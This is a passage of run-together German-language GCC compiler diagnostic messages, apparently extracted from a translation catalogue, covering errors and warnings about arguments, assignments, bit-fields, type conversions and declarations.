erkanntArgument %qs für %<-femit-struct-debug-detailed%> unbekanntArgument 1 muss ein vorzeichenbehaftetes 5-Bit-Symbol seinArgument 1 von __builtin_altivec_predicate ist außerhalb des WertebereichesArgument 1 von __builtin_altivec_predicate muss eine Konstante seinArgument 1 von __builtin_paired_predicate ist außerhalb des WertebereichesArgument 1 von __builtin_paired_predicate muss eine Konstante seinArgument 1 von __builtin_spe_predicate ist außerhalb des WertebereichesArgument 1 von __builtin_spe_predicate muss eine Konstante seinArgument 2 muss ein vorzeichenloses 5-Bit-Symbol seinArgument 3 muss ein vorzeichenloses 4-Bit-Symbol seinArgumentabhängiges Nachschlagen findet %q+DArgument muss eine Konstante seinArgument von %<__builtin_args_info%> muss konstant seinArgument von %<__builtin_args_info%> außerhalb des WertebereichsArgument für »__builtin_eh_return_regno« muss konstant seinArgument des Attributes %qs ist nicht "ilink1" oder "ilink2"Argument des Attributes %qs ist keine ZeichenkettenkonstanteArgument des Funktionsaufrufs könnte Kandidat für Formatattribut seinArgument des Typs %qT passt nicht zu %qTArgument von »%s« sollte eine nicht-negative Ganzzahl seinArgument für Attribut %qs ist größer als %dArgument für %qs muss ein vorzeichenloses 2-Bit-Symbol seinArgument für »%s« fehltArgument für »%s« fehlt
Argument für »-%s« fehltArgument für »-B« fehltArgument für »-Xassembler« fehltArgument für »-Xlinker« fehltArgument für »-Xpreprocessor« fehltArgument für »-l« fehltArgument für »-specs« fehltArgument für »-specs=« fehltArgument für »-x« fehltArgument für decltype muss ein Ausdruck seinArgument für dss muss ein vorzeichenloses 2-Bit-Symbol seinArgumente für Destruktor sind nicht erlaubtarithmetisches IFArithmetik mit Zeiger auf unvollständigen TypenFeld %q+D als einelementig betrachtetFeld %qD mit geklammerter Zeichenkettenkonstante %qE initialisiertFeld-ZuweisungFeldgrenze ist keine GanzzahlkonstanteFeld passt nicht zum RegionsbaumFeldindex in Initialisierung überschreitet FeldgrenzenFeldindex in Initialisierung hat nicht GanzzahltypFeldindex in Nicht-Feld-InitialisierungFeldindexbereich in Initialisierung überschreitet FeldgrenzenFeld mit nicht konstantem Feldausdruck initialisiertFeld mit geklammerter Zeichenkettenkonstante initialisiertFeld muss mit Initialisierung mit umgebenden geschweiften Klammern initialisiert werdenFeld unpassenden Typs mit Zeichenkettenkonstante initialisiertFeldgröße fehlt in %q+DFeldgröße fehlt in %qDFeldindex hat Typ %<char%>Feldindex ist keine GanzzahlFeldtyp hat unvollständigen ElementtypenFeld als Initialisierung verwendetFelder von Funktionen sind sinnlosals %qDasm-Konflikt mit Eingabeoperandasm-Konflikt mit Ausgabeoperandasm-Deklaration wegen Konflikt mit vorheriger Umbenennung ignoriertasm-Operand %d passt wahrscheinlich nicht zu den Bedingungenasm-Spezifizierer für Variable %qs steht in Konflikt mit asm-Konflikt-Listeassert: %s ist mit %s zuweisungsverträglichBehauptung fehlt hinter %qsZuweisungZuweisung (nicht Initialisierung) in DeklarationZuweisung streicht Qualifizierer von Zeiger-ZieltypZuweisung von anderem Objective-C-TypZuweisung von inkompatiblem ZeigertypLinks-Zuweisung könnte Kandidat für Formatattribut seinZuweisung erzeugt Ganzzahl von Zeiger ohne TypkonvertierungZuweisung erzeugt Zeiger von Ganzzahl ohne TypkonvertierungZuweisung erzeugt aus unqualifiziertem einen qualifizierten FunktionszeigerZuweisung der schreibgeschützten Speicherstelle %qEZuweisung des schreibgeschützten Elementes %qDZuweisung der schreibgeschützten Variable %qDZuweisungsunterdrückungZuweisung an final-Feld %q+D nicht in Klasse des FeldesUmwandlung in Typ %qT von überladener Funktion wird angenommenZeiger auf Element %qD wird angenommenAnnahme, dass vorzeichenbehafteter Überlauf nicht auftritt, wenn Konstanten um einen Vergleich kombiniert werdenAnnahme, dass vorzeichenbehafteter Überlauf nicht auftritt, wenn Division negiert wirdAnnahme, dass vorzeichenbehafteter Überlauf nicht auftritt, wenn Konstante in Vergleich verringert wirdAnnahme, dass vorzeichenbehafteter Überlauf bei Vereinfachung der Bedingung nicht auftrittAnnahme, dass vorzeichenbehafteter Überlauf nicht auftritt, wenn Bedingung zu Konstante vereinfacht wirdAnnahme, dass vorzeichenbehafteter Überlauf nicht auftritt, wenn Bereichsprüfung vereinfacht wirdes wird angenommen, dass die Schleifen-Zählvariable nicht überläuftes wird angenommen, dass es sich nicht um eine Endlosschleife handeltan dieser Stelle in der DateiVersuch, die Adresse des Bitfeldstrukturelements %qD zu ermittelnAttribut-DeklarationAttribut für %q+#T muss dem Schlüsselwort %qs folgenAttribut in Deklaration von %q+#T ignoriertAttribut interrupt_handler ist mit -m5-compact unverträglichAttribute hinter geklammerter Initialisierung werden ignoriertAttribute an Spezifizierer ausführlichen Typs ignoriert, der keine Vorwärtsdeklaration istAttribute an Templateinstanziierung ignoriertAttribute an instanziiertem Typen ignoriertAttribute in Parameterfelddeklarator ignoriertautomatische Variable %qE kann nicht %<threadprivate%> seinAux-Feld für Kante %s->%s gesetztBackend-Deklaration für Modulvariable %s ist bereits vorhandenschlechter PC-Bereich für Debuginfo für lokales %q+DFalsche AdresseFalsche Adresse, nicht (reg+disp):Falsche Adresse, nicht post_inc oder pre_dec:Falscher Betrag der Stapelspeicherentfernung: %dschlechte FeldinitialisierungFalscher eingebauter CodeFalscher eingebauter fcodeFalscher BedingungscodeFalscher Ausdruckstyp beim Durchlaufen (%d)falsches Format des .zip/.jar-Archives
falscher Befehl für 'A'Falscher Befehl in frv_print_operand, Fall 0:Falscher Befehl in frv_print_operand, falsches const_doubleFalscher Befehl in frv_print_operand, Fall »z«:Falscher Befehl für frv_print_operand, Modifizierer »F«:Falscher Befehl für frv_print_operand, Modifizierer »L«:Falscher Befehl für frv_print_operand, Modifizierer »M/N«:Falscher Befehl für frv_print_operand, Modifizierer »O«:Falscher Befehl für frv_print_operand, Modifizierer »e«:Falscher Befehl für frv_print_operand, Modifizierer »f«:Falscher Befehl für frv_print_operand, Modifizierer »g«:Falscher Befehl für frv_print_operand, Modifizierer »P«:Falscher Befehl für frv_print_operand_address:Falscher Befehl für frv_print_operand_memory_reference:Schlechte MethodensignaturFalscher Operand für output_condmove_singleFalscher Operand für output_move_doubleFalscher Operand für output_move_singleschlechtes PC in execution_tablefalsches RegisterFalsches Register für frv_print_operand_memory_reference_reg:Falscher Schiebe-Befehl:Schlechte ZeichenkettenkonstanteFalscher Testschlechter Typ in Parameter-Debug-InfoFalscher Wert %<%s%> für Schalter -mtls-size=Falscher Wert %<%s%> für Schalter -mtune=Falscher Wert %qs für Schalter -mcpuFalscher Wert %qs für Schalter -mfp-rounding-modeFalscher Wert %qs für Schalter -mfp-trap-modeFalscher Wert %qs für -mmemory-latencyFalscher Wert %qs für Schalter -mtls-sizefalscher Wert %qs für Schalter -mtrap-precisionFalscher Wert (%s) für Schalter %sFalscher Wert (%s) für Schalter -mcmodel=Schlechter Wertekonstantentyp %d, Index %dFalscher Wert für -mcall-%sFalscher Wert für -msdata=%sschlechte ZIP/JAR-Datei %sschlecht geschachtelte C-Header vom PräprozessorBasis %qT wird initialisiert nachBasisklasse %q#T hat einen nicht-virtuellen DestruktorBasisklasse %qT hat CV-KennzeichnerAuflösung der Basisinitialisierung %<%T%> enthält keine ParameterpacksBasisoperand von %<->%> hat Nicht-Zeiger-Typ %qTBasisoperand von %<->%> ist kein ZeigerBasistyp %qT ist kein struct- oder KlassentypVorgänger des Basis-Blocks %d ist beschädigtBasisblock %d sollte als irreduzibel markiert werdenBasisblock %d sollte nicht als irreduzibel markiert werdenKantenlisten des Basis-Blockes %i sind beschädigtBasis-Blöcke sind nicht fortlaufendBB %d gehört nicht zur Schleife %dbb %d an falscher StelleBit-Feld %q+#D mit Nicht-Ganzzahl-TypBreite des Bitfeldes %q+D ist keine GanzzahlkonstanteBit-Feld %qD mit Nicht-Ganzzahl-TypBitfeld %qs hat ungültigen TypenBreite des Bitfeldes %qs ist keine GanzzahlkonstanteBlock-IFnur simulierte DISPOSE-Konstruktion: %dnur simulierte JARL-Konstruktion: %d
nur simulierte JR-Konstruktion: %dnur simulierte PREPARE-Konstruktion: %dBoolsche Register für die Gleitkommaoption benötigtsowohl %<_Sat%> als auch %<%s%> in Deklarationsowohl %<_Sat%> als auch %<_Bool%> in Deklarationsowohl %<_Sat%> als auch %<_Decimal128%> in Deklarationsowohl %<_Sat%> als auch %<_Decimal32%> in Deklarationsowohl %<_Sat%> als auch %<_Decimal64%> in Deklarationsowohl %<_Sat%> als auch %<char%> in Deklarationsowohl %<_Sat%> als auch %<complex%> in Deklarationsowohl %<_Sat%> als auch %<double%> in Deklarationsowohl %<_Sat%> als auch %<float%> in Deklarationsowohl %<_Sat%> als auch %<int%> in Deklarationsowohl %<_Sat%> als auch %<void%> in Deklarationsowohl %<complex%> als auch %<%s%> in Deklarationsowohl %<complex%> als auch %<_Accum%> in Deklarationsowohl %<complex%> als auch %<_Bool%> in Deklarationsowohl %<complex%> als auch %<_Decimal128%> in Deklarationsowohl %<complex%> als auch %<_Decimal32%> in Deklarationsowohl %<complex%> als auch %<_Decimal64%> in Deklarationsowohl %<complex%> als auch %<_Fract%> in Deklarationsowohl %<complex%> als auch %<_Sat%> in Deklarationsowohl %<complex%> als auch %<void%> in Deklarationsowohl %<long long%> als auch %<%s%> in Deklarationsowohl %<long long%> als auch %<double%> in Deklarationsowohl %<long%> als auch %<%s%> in Deklarationsowohl %<long%> als auch %<_Bool%> in Deklarationsowohl %<long%> als auch %<_Decimal128%> in Deklarationsowohl %<long%> als auch %<_Decimal32%> in Deklarationsowohl %<long%> als auch %<_Decimal64%> in Deklarationsowohl %<long%> als auch %<char%> in Deklarationsowohl %<long%> als auch %<float%> in Deklarationsowohl %<long%> als auch %<short%> in Deklarationsowohl %<long%> als auch %<void%> in Deklarationsowohl %<short%> als auch %<%s%> in Deklarationsowohl %<short%> als auch %<_Bool%> in Deklarationsowohl %<short%> als auch %<_Decimal128%> in Deklarationsowohl %<short%> als auch %<_Decimal32%> in Deklarationsowohl %<short%> als auch %<_Decimal64%> in Deklarationsowohl %<short%> als auch %<char%> in Deklarationsowohl %<short%> als auch %<double%> in Deklarationsowohl %<short%> als auch %<float%> in Deklarationsowohl %<short%> als auch %<void%> in Deklarationsowohl %<signed%> als auch %<%s%> in Deklarationsowohl %<signed%> als auch %<_Bool%> in Deklarationsowohl %<signed%> als auch %<_Decimal128%> in Deklarationsowohl %<signed%> als auch %<_Decimal32%> in Deklarationsowohl %<signed%> als auch %<_Decimal64%> in Deklarationsowohl %<signed%> als auch %<double%> in Deklarationsowohl %<signed%> als auch %<float%> in Deklarationsowohl %<signed%> als auch %<unsigned%> in Deklarationsowohl %<signed%> als auch %<void%> in Deklarationsowohl %<unsigned%> als auch %<%s%> in Deklarationsowohl %<unsigned%> als auch %<_Bool%> in Deklarationsowohl %<unsigned%> als auch %<_Decimal128%> in Deklarationsowohl %<unsigned%> als auch %<_Decimal32%> in Deklarationsowohl %<unsigned%> als auch %<_Decimal64%> in Deklarationsowohl %<unsigned%> als auch %<double%> in Deklarationsowohl %<unsigned%> als auch %<float%> in Deklarationsowohl %<unsigned%> als auch %<void%> in Deklarationbeide Argumente für %<__builtin___clear_cache%> müssen Zeiger seingeschweift geklammerte Spezifikation »%s« ist bei »%c« ungültiggeschweift geklammerter Körper »%s« ist ungültiggeschweifte Klammern um Skalar-Initialisierunggeschweifte Klammern um skalare Initialisierung für Typ %qTZweig %2d niemals ausgeführt
Zweig %2d wurde genommen: %s%s
Ladeoptimierung für Zweig-Zielregister ist nicht dafür vorgesehen, mehrfach zu laufenbreak-Anweisung nicht innerhalb einer Schleife oder »switch«break-Anweisung mit OpenMP für Schleife verwendetEingebaute Funktion %q+D als Nicht-Funktion deklarierteingebaute Funktion %qs nicht für MIPS16 unterstütztAufruf %2d niemals ausgeführt
Aufruf %2d gab %s zurück
Ruf-Kanten für Nicht-Aufruf-Befehl im bb %iAufruf ist unwahrscheinlich und Codegröße würde wachsenAufruf von %<(%T) (%A)%> ist nicht eindeutigAufruf des überladenen %<%D(%A)%> ist nicht eindeutigAufruf des überladenen %<%s(%A)%> ist mehrdeutigAufruf von Javas %<catch%> oder %<throw%> mit %<jthrowable%> ist nicht definiertAufruf von Java-Konstruktor mit %qs ist nicht definiertAufruf von Java-Konstruktor, wobei %<jclass%> nicht definiert istAufruf der Funktion %qD, die unvollständigen Typen %q#T wirftAufruf einer Funktion, die unvollständigen Typen %q#T wirftAufruf der Nicht-Funktion %qDfür Ruf vorgesehenes Register wurde für globale Registervariable verwendetvon hier aufgerufengerufenes Objekt %qE ist keine FunktionRufer-Kantenzähler ist negativRufer-Kantenhäufigkeit ist negativRufer-Kantenhäufigkeit ist zu groß-mtp=cp15 kann nicht mit 16-Bit-Thumb verwendet werdenein Objekt kann nicht als Parameter für eine Methode verwendet werdennur Attribut %qE kann für Definitionen von Objekten eines Klassentyps im Datei-Gültigkeitsbereich verwendet werdender vorkompilierte Header »%s« kann nicht erzeugt werden: %mOperanden von dezimalen Gleitkomma- und komplexen Typen können nicht gemischt werdenOperanden von dezimalen und anderen Gleitkommatypen können nicht gemischt werdenOperanden von dezimalen Gleitkomma- und Vektortypen können nicht gemischt werden%s kann nicht zum Schreiben geöffnet werden: %m%s kann nicht geöffnet werden: %m%s kann nicht gelesen werden: %min %s kann nicht positioniert werden: %m%s kann nicht geschrieben werden: %min %s kann nicht geschrieben werden: %mDie Attribute longcall und shortcall können nicht gleichzeitig für die gleiche Funktion verwendet werdendie Eingabedatei »%s« kann nicht geschlossen werden: %mzwischen Vektorwerten verschiedener Größen kann nicht konvertiert werdenunvollständiger Typ %qT kann nicht nach %qT umgewandelt werdenWert kann nicht in Vektor konvertiert werdenRepository-Informationsdatei %qs kann nicht erzeugt werdenfriend-Funktion %qs kann nicht in einer lokalen Klassendefinition definiert werdenAbhängigkeiten-Verfolgung kann bei Eingabe von stdin nicht durchgeführt werdenPCH-Datei kann nicht erweitert werden: %m%<class$%> in %qT kann nicht gefunden werdenin der Klasse %qs konnte während des Neuladens von %<asm%> kein Register gefunden werdenPosition in PCH-Datei kann nicht ermittelt werden: %mProgramm-Status kann nicht ermittelt werdenfriend-Funktion %qs kann nicht initialisiert werden%qD kann nicht zur Methode gemacht werden -- nicht in einer Klasse%s kann nicht geöffnet werden: %mEingabedatei »%s« kann nicht geöffnet werdenldd-Ausgabe kann nicht geöffnet werdennm-Ausgabe kann nicht geöffnet werdenPCH-Datei kann nicht gelesen werden: %min PCH-Datei kann nicht positioniert werden: %mPosition in PCH-Datei kann nicht gesetzt werden: %m»-D« kann nicht ohne »--main« angegeben werden
»%s« kann nicht als ein %s-Register verwendet werdenPCH-Datei kann nicht geschrieben werdenPCH-Datei kann nicht geschrieben werden: %mAuffüllung für PCH-Datei kann nicht geschrieben werden: %mKandidat 1:Kandidat 2:Kandidat ist: %+#DKandidaten sind:Kandidaten sind: %+#Des kann kein Objekt des abstrakten Typs %qT belegt werden%<offsetof%> kann nicht auf Destruktor %<~%T%> angewandt werden%<offsetof%> kann nicht auf Elementfunktion %qD angewandt werden%<offsetof%> kann nicht auf statisches Datenelement %qD angewendet werden%<offsetof%> kann nicht angewandt werden, wenn %<operator[]%> überladen istElementzeiger %qE kann nicht auf %qE angewandt werden, da letzteres vom Nicht-Klassen-Typ %qT istdas Bitfeld %qE kann nicht mit %qT verbunden werdendas gepackte Feld %qE kann nicht mit %qT verbunden werdender R-Wert %qE kann nicht mit %qT verbunden werdenElementfunktion %qD kann nicht ohne Objekt aufgerufen werden%qE kann nicht vom Typ %qT in den Typ %qT umgewandelt werden%qT kann nicht nach %qT für Argument %qP nach %qD umgewandelt werden%qT kann nicht nach %qT in %s umgewandelt werdenEs kann nicht von Basis %qT in abgeleiteten Typ %qT über virtuelle Basis %qT gewandelt werdenes kann nicht in Zeigertyp konvertiert werdenTyp %qT kann nicht in den Typ %qT umgewandelt werdenZeiger auf Referenzelement %qD kann nicht erzeugt werdentemporäre Datei konnte nicht angelegt werdenfür Typ %qT kann keine Typinformation erzeugt werden, weil dies Typen variabler Größe umfasst%<::main%> kann nicht als Template deklariert werden%<::main%> kann nicht inline deklariert werden%<::main%> kann nicht statisch deklariert werden%qD kann nicht als Bitfeldtyp deklariert werdenBitfeld %qD kann nicht mit Funktionstyp deklariert werdenFeld %q+D kann nicht als vom abstrakten Typ %qT deklariert werdenElement %<%T::%s%> kann nicht in %qT deklariert werdenElementfunktion %qD kann nicht deklariert werden, statische Bindung zu habenParameter %q+D kann nicht als vom abstrakten Typ %qT deklariert werdenZeiger auf %q#T kann nicht deklariert werdenZeiger auf Element %q#T kann nicht deklariert werdenReferenz auf %q#T kann nicht deklariert werdenReferenz auf %q#T kann nicht deklariert werden, da letzteres weder Typedef noch Templatetyp-Argument iststatische Funktion innerhalb anderer Funktion kann nicht deklariert werdenVariable %q+D kann nicht als vom abstrakten Typ %qT deklariert werdenAdresse kann nicht zerlegt werdenZeiger auf unvollständigen Typen %qT kann nicht verringert werdenElementfunktion %<%T::%s%> innerhalb von %<%T%> kann nicht definiert werdenEine Funktion kann nicht gelöscht werden. Nur Zeiger auf Objekte sind gültige Argumente für %<delete%>Eingebaute Funktion %qs kann nicht abgeschaltet werdenZ-Register kann nicht ausgetauscht werdendynamic_cast %qE (des Typs %q#T) in Typ %q#T (%s) kann nicht vorgenommen werden%<%E%> kann nicht in Argumentliste fester Länge aufgelöst werden%<%T%> kann nicht in Argumentliste fester Länge aufgelöst werdenElement %q#D kann nicht explizit deklariert werden, externe Bindung zu haben»%s« kann nicht gefunden werden»ldd« kann nicht gefunden werden»nm« kann nicht gefunden werdenKlasse %qs kann nicht gefunden werdenDatei für Klasse %s kann nicht gefunden werdenSchnittstellendeklaration für %qs kann nicht gefunden werdenSchnittstellendeklaration für %qs, Basisklasse von %qs, kann nicht gefunden werdenProtokolldeklaration für %qs kann nicht gefunden werdenReferenzmarke für Klasse %qs kann nicht gefunden werdeninkonsistente Aufrufe von %qs können nicht behandelt werdenZeiger auf unvollständigen Typen %qT kann nicht erhöht werden%qT kann nicht von %qT initialisiert werdenAggregat des Typs %qT kann nicht mit zusammengesetztem Literal initialisiert werdenmit dieser Syntax können keine Felder initialisiert werdenmehrdimensionales Feld kann nicht initialisiert werden%<main%> ist nicht als »inline« möglichseparate %s Zähler für die Funktion %u können nicht verschmolzen werdenEs ist nicht möglich, »%s« zu öffnenSchleife kann nicht optimiert werden, Schleifen-Zählvariable könnte überlaufenmögliche Endlosscheife kann nicht optimiert werdenArgument kann nicht in Vektorregister übergegeben werden, da AltiVec-Befehle ausgeschaltet sind; -maltivec schaltet sie einObjekte des Nicht-POD-Typs %q#T können nicht über %<...%> übergeben werden; Aufruf wird zur Laufzeit abbrechenR-Wert kann nicht an Referenzparameter übergeben werdenObjekt mit volatile-Feld kann nicht in Register geladen werdenObjekte des Nicht-POD-Typs %q#T können nicht über %<...%> empfangen werden; Aufruf wird zur Laufzeit abbrechenGanzzahlkonstantenoperand kann in %<asm%> nicht neu geladen werdenüberladene Funktion %qD konnte nicht durch Umwandlung in Typ %qT aufgelöst werdenvom Behandler eines Funktions-try-Blocks eines Konstruktors kann nicht zurückgekehrt werdenWert kann nicht in Vektorregister zurückgegeben werden, da AltiVec-Befehle ausgeschaltet sind; -maltivec schaltet sie einUnterbrechungsattribut kann nicht gesetzt werden; keine aktuelle FunktionUnterbrechungsattribut kann nicht gesetzt werden: kein solcher Bezeichner»main«-Klasse kann ohne Binden nicht angegeben werden-o kann nicht mit -c oder -S mit mehreren Dateien angegeben werden-C und -o können nicht zusammen angegeben werden-msep-data und -mid-shared-library können nicht zusammen angegeben werdendie Adresse des Bit-Feldes %qD kann nicht ermittelt werdenAdresse von %<this%> kann nicht ermittelt werden, das ein R-Wert-Ausdruck ist%<::%> kann nicht in Parameterdeklaration verwendet werdenModus %qs kann nicht für Aufzählungstypen verwendet werdenmshared und static können nicht zusammen verwendet werdenmthreads und mlegacy-threads können nicht zusammen verwendet werdenKleindatenzugriffe für %qs nicht möglichtypeid kann nicht mit -fno-rtti verwendet werdenva_start in Unterbrechungsfunktion kann nicht verwendet werdenkanonische Typen unterscheiden sich für identische Typen %T und %Tcase-Marke reduziert nicht auf Ganzzahlkonstantecase-Marke in Gültigkeitsbereich eines Bezeichners mit variabel modifiziertem Typen, der keine einschließende switch-Anweisung enthältcase-Marke in Anweisungs-Ausdruck enthält keine einschließende switch-Anweisungcase-Marke nicht innerhalb einer switch-Anweisungcase-Marke überschreitet Maximalwert des Typscase-Marke ist kleiner als Minimalwert des TypsCase-Marken nicht sortiert: Typkonvertierung fügt neue Typqualifizierer zu Funktionstyp hinzuTypkonvertierung streicht Qualifizierer von Zeiger-ZieltypUmwandlung von %qT in %qT erhöht erforderliche Ausrichtung des ZieltypsTypumwandlung von %qT nach %qT verliert GenauigkeitTypumwandlung von Funktionsaufruf des Typs %qT in unpassenden Typen %qTTypkonvertierung von Zeiger auf Ganzzahl anderer BreiteTypkonvertierung erfordert Ausrichtung des ZieltypsTypkonvertierung gibt Feldtyp anTypkonvertierung gibt Funktionstyp anTypkonvertierung in Zeiger von Ganzzahl anderer BreiteTypkonvertierung in union-Typ von nicht in union vorhandenem TypenUmwandlung von %qT in %qT dereferenziert nicht den Zeigerverändert die Bedeutung von %qD von %q+#Dchar-Feld mit wide-Zeichenkette initialisiertPrüfsumme ist %x statt %xWahl von %qD statt %qDringförmige Zeigerdelegation erkanntKlasse %qT hat keinen Feldnamen %qDKlasse %qT ist implizit »friend« von ihr selbstKlasse %qT wird in zukünftigen GCC-Versionen als annähernd leer betrachtet werdenKlasse %qs existiert bereitsKlasse »%s« hat keine Methode namens »%s«, die zur Signatur »%s« passtArgument für cleanup ist keine FunktionArgument für cleanup ist kein BezeichnerAbhängigkeitsdatei »%s« wird geschlossen: %mCodemodell %qs wird im %s-Bit-Modus nicht unterstütztCodemodell %s unterstützt keinen PIC-Moduscollect2-Version %ssammeln: %s wird gelesen
sammeln: %s wird neu kompiliert
sammeln: neu binden
sammeln: %s wird in %s eingestellt
Komma am Ende der AufzählungslisteKommandozeilenoption "%s" ist gültig für %s, aber nicht für %sKommandozeilenoption %qs wird von dieser Konfiguration nicht unterstütztVergleich von Gleitkomma mit == oder != ist unsicherVergleich zwischen %q#T und %q#TVergleich zwischen Zeiger und GanzzahlVergleich zwischen vorzeichenbehafteten und vorzeichenlosen GanzzahlausdrückenVergleich ist immer %dVergleich ist immer %d wegen Breite des BitfeldesVergleich ist durch beschränkten Wertebereich des Datentyps stets »unwahr«Vergleich ist durch beschränkten Wertebereich des Datentyps stets »wahr«Vergleich von vollständigen und unvollständigen ZeigernIm Vergleich verschiedener Objective-C-Typen fehlt Typumwandlungin Vergleich verschiedener Zeigertypen fehlt TypkonvertierungVergleich von weitergegebenem ~unsigned mit KonstanteVergleich von weitergegebenem ~unsigned mit unsignedVergleich eines vorzeichenlosen Ausdrucks < 0 ist stets »unwahr«Vergleich eines vorzeichenlosen Ausdrucks >= 0 ist stets »wahr«Vergleich mit Zeichenkettenliteral führt zu unspezifiziertem VerhaltenVergleich mit Zeichenkettenliteral führt zu undefiniertem VerhaltenKompilierung wegen -Wfatal-errors beendet.
Kompilierung beendet.
komplexer Gleitkommaüberlauf in Ausdruckkomplexer Ganzzahlüberlauf in Ausdruckcomplex ungültig für %qszusammengesetztes Literal vom Nicht-Objekt-Typ %qTZugriffsangaben für Feld %qE stehen in Konflikt, ignoriertZugriffsangaben für Methode %q+D stehen in Konflikt, ignoriertin Konflikt stehende Deklaration %q#Din Konflikt stehenden Rückgabetyp für %q+#D angegebenin Konflikt stehende Spezifikationen für Deklaration von %qsin Konflikt stehender Basisklassenname %qsin Konflikt stehenden Typattribute für %q+#D angegebenIn Konflikt stehende Typqualifizierer für %q+DIn Konflikt stehende Typen für %q+DIn Konflikt stehende Typen für eingebaute Funktion %q+Dsteht mit eingebauter Deklaration %q#D in Konfliktsteht mit Funktionsdeklaration %q#D in Konfliktsteht mit neuer Deklaration mit %qL-Bindung in Konfliktsteht mit vorheriger Deklaration %q+#D in KonfliktKonstante %qs kann nicht als %<mutable%> deklariert seinconst_double_split bekam einen falschen Befehl:Konstantes Argument außerhalb des Wertebereiches für %qsKonstanter logischer Wert in CASE-Anweisung wird bei %L wiederholtKonstante wird bei ADDR_EXPR-Änderung nicht neu berechnetKonstruktor für fremde Klasse %qT kann kein Element seinKonstruktorprioritäten werden nicht unterstütztKonstruktorprioritäten von 0 bis %d sind für die Implementierung vorbehaltenKonstruktorprioritäten müssen Ganzzahlen von 0 bis einschließlich %d seinKonstruktorsyntax verwendet, aber kein Konstruktor für Typ %qT deklariertKonstruktoren können nicht als virtuell deklariert werdencontinue-Anweisung nicht innerhalb einer Schleifecontinue-Anweisung nicht innerhalb einer Schleife oder »switch«Kontrollfluss inmitten des Basis-Blockes %dUmwandlung von %q#T nach %q#TUmwandlung von %qT in %qT löscht QualifiziererUmformung von %qT in %qT ist nicht eindeutigUmwandlung von %qT in nicht-skalaren Typen %qT angefordertbei der Konvertierung fehlt der Typ am Ende des FormatesUmwandlung von %qE von %qT nach %qT ist mehrdeutigUmwandlung eines vorzeichenunbehafteten konstanten Wertes in negative GanzzahlUmformung in %qT ändert konstanten Wert von %qTUmwandlung in %qT von %qT könnte den Wert ändernUmwandlung in %qT von %qT könnte das Vorzeichen des Ergebnisses ändernUmwandlung in %s%s wird nie einen Typumwandlungsoperator verwendenKonvertierung in unvollständigen TypenKonvertierung zu Nicht-Skalar-Typ verlangt%<false%> wird für Argument %P von %qD in Zeigertyp umgewandeltUmwandlung von NULL in Nicht-Zeiger-TypUmwandlung von %qT nach %qTUmwandung der überladenen Funktion %qD in den Typ %q#T ist mehrdeutigKonvertierung in Nicht-Zeiger-Typ %qT von NULLbeschädigte Ausgangsliste der Schleife %dbeschädigter Kopf der Ausgangsliste von Schleife %dInfo zum beschädigten Profil: Kante von %i nach %i überschreitet HöchstzahlInfo zum beschädigten Profil: Anzahl der Ausführungen der Kante »%d-%d« sollte %i seinInfo zum beschädigten Profil: Anzahl der Durchläufe des Basisblocks %d sollte %i seinbeschädigte Profilinformation: run_max * runs < sum_maxbeschädigte Profilinformation: sum_all ist kleiner als sum_maxAntwortdatei %s konnte nicht geschlossen werdentemporäre Antwortdatei %s konnte nicht geschlossen werden%qE konnte nicht nach %qT konvertiert werdenTemplateargument %qE konnte nicht in %qT umgewandelt werdenes konnte kein Überlaufregister gefunden werdenclass$-Feld konnte nicht im Java-Schnittstellentyp %qT gefunden werdenSpezifikationsdatei %s konnte nicht gefunden werden
Abzugsdatei %qs konnte nicht geöffnet werden: %sAntwortdatei %s konnte nicht geöffnet werdentemporäre Antwortdatei %s konnte nicht geöffnet werdenBefehl kann nicht aufgeteilt werdenin Antwortdatei %s konnte nicht geschrieben werdenin temporäre Antwortdatei %s konnte nicht geschrieben werdenZielname für Abhängigkeiten-Verfolgung konnte nicht ermittelt werden»%s« konnte nicht ausgeführt werden: %sAbbildung von pch_address_space konnte nicht aufgehoben werden: %mÜberdeckung passt nicht für Funktion %qs beim Lesen des Zählers %qsÜberdeckung passt nicht für Funktion %u beim Lesen der Ausführungszählerunpassende Überdeckung ignoriert wegen -Wcoverage-mismatcherzeugt und mit anderen ABIs verwendeterzeugt und mit anderen Architekturen / ABIs verwendeterzeugt und mit anderer Bytereihenfolge verwendeterzeugt und mit anderen Einstellungen von -fpic verwendeterzeugt und mit anderen Einstellungen von -fpie verwendeterzeugt und mit anderen Einstellungen von »%s« verwendetErzeugen von %sFeld von %qT wird erzeugtFeld von %qT wird erzeugt, was ein abstrakter Klassentyp istFeld negativer Größe (%qE) wird erzeugtErzeugung eines Zeigers auf Elementfunktion des Nicht-Klassentyps %qTZeiger auf Element des Nicht-Klassentypen %qT wird erzeugtZeiger auf Element mit Typ »void« wird erzeugtZeiger auf Elementreferenztyp %qT wird erzeugtkritische Region darf nicht innerhalb einer kritischen Region mit gleichem Namen geschachtelt werdenaktueller Namensbereich %qD schließt nicht stark verwendeten Namensbereich %qD einDatenabschnitt von %q+D in Konflikt mit vorheriger DeklarationDaten-DeklarationDatenelement %qD kann kein Elementtemplate seinDatenelement darf nicht variabel modifizierten Typ %qT habenDatentyp von %q+D ist nicht für Register geeignetTestformat »%s« steht in Konflikt mit vorheriger AuswahlTestausgabestufe »%s« ist zu großzur Fehlersuche: Dezimales Gleitkomma wird für dieses Ziel nicht unterstütztDeklaration %qD deklariert nichtsDeklaration deklariert nichtsDeklaration für nicht vorhandenen Parameter %q+DDeklaration der %<extern%>-Variablen %q+D in Anfangsdeklaration einer %<for%>-SchleifeDeklaration von %q#DDeklaration von %q#D hat %<extern%> und ist initialisiertDeklaration von %q#D außerhalb einer Klasse ist keine DefinitionDeklaration von %q#D überdeckt einen ParameterDeklaration von %q+#DDeklaration von %q+D überdeckt eine eingebaute FunktionDeklaration von %q+D überdeckt eine globale DeklarationDeklaration von %q+D überdeckt einen ParameterDeklaration von %q+D überdeckt einen vorhergehenden lokalen BezeichnerDeklaration von %q+D überdeckt eine vorhergehende Nicht-VariableDeklaration von %q+D mit Attribut noinline folgt inline-Deklaration Deklaration von %q+D ohne Bindung folgt einer extern-DeklarationDeklaration von %qD als %sDeklaration von %qD als Element %qTDeklaration von %qD als multidimensionales Feld muss für alle Dimensionen außer der ersten Grenzen habenDeklaration von %qD als Nicht-FunktionDeklaration von %qD als Nicht-ElementDeklaration von %qD nicht in einem Namensbereich um %qDDeklaration von %qD überdeckt eine globale DeklarationDeklaration von %qD überdeckt ein Element von 'this'Deklaration von %qD überdeckt einen vorhergehenden lokalen BezeichnerDeklaration von %qF wirft andere AusnahmenDeklaration von %qs als Feld von FunktionenDeklaration von %qs als Feld von voidsDeklaration der 